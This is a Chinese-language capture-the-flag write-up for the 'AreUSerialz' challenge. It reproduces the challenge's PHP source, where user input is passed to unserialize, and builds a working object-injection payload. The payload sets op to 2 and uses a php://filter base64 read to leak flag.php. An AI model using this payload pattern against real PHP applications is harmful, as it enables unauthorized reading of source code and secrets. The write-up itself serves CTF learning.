BUU-WEB-[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {
   

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
   
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
   
        if($this->op == "1") {
   
            $this->write();
        } else if($this->op == "2") {
   
            $res = $this->read();
            $this->output($res);
        } else {
   
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
   
        if(isset($this->filename) && isset($this->content)) {
   
            if(strlen((string)$this->content) > 100) {
   
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
   
            $this->output("Failed!");
        }
    }

    private function read() {
   
        $res = "";
        if(isset($this->filename)) {
   
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
   
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
   
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
   
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{
   'str'})) {
   

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
   
        $obj = unserialize($str);
    }

}

php代码审计。
一段一段的进行分析。

function is_valid($s) {
   
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

is_valid函数是确保每个字符的ASCII码值在32至125之间。

if(isset($_GET{
   'str'})) {
   

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
   
        $obj = unserialize($str);
    }

}

str以get方式读入，如果str是满足is_valid函数的话，就进行一次反序列化操作。

class FileHandler {
   
    protected $op;
    protected $filename;
    protected $content;
    }

FileHandler中有三个参数。

public function process() {
   
        if($this->op == "1") {
   
            $this->write();
        } else if($this->op == "2") {
   
            $res = $this->read();
            $this->output($res);
        } else {
   
            $this->output("Bad Hacker!");
        }
    }

想绕过process函数，只能给op赋值为2。
然后通过filename读取flag.php页面的源码。

filename=php://filter/read=convert.base64-encode/resource=flag.php

根据源码构建序列化内容：

<?php
class FileHandler {
   
    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    protected $content;
}
$a = new FileHandler();
echo (serialize($a));
?>

再以get方式通过str提交即可得到flag。

?str=O:11:"FileHandler":3:{
   s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"*content";N;}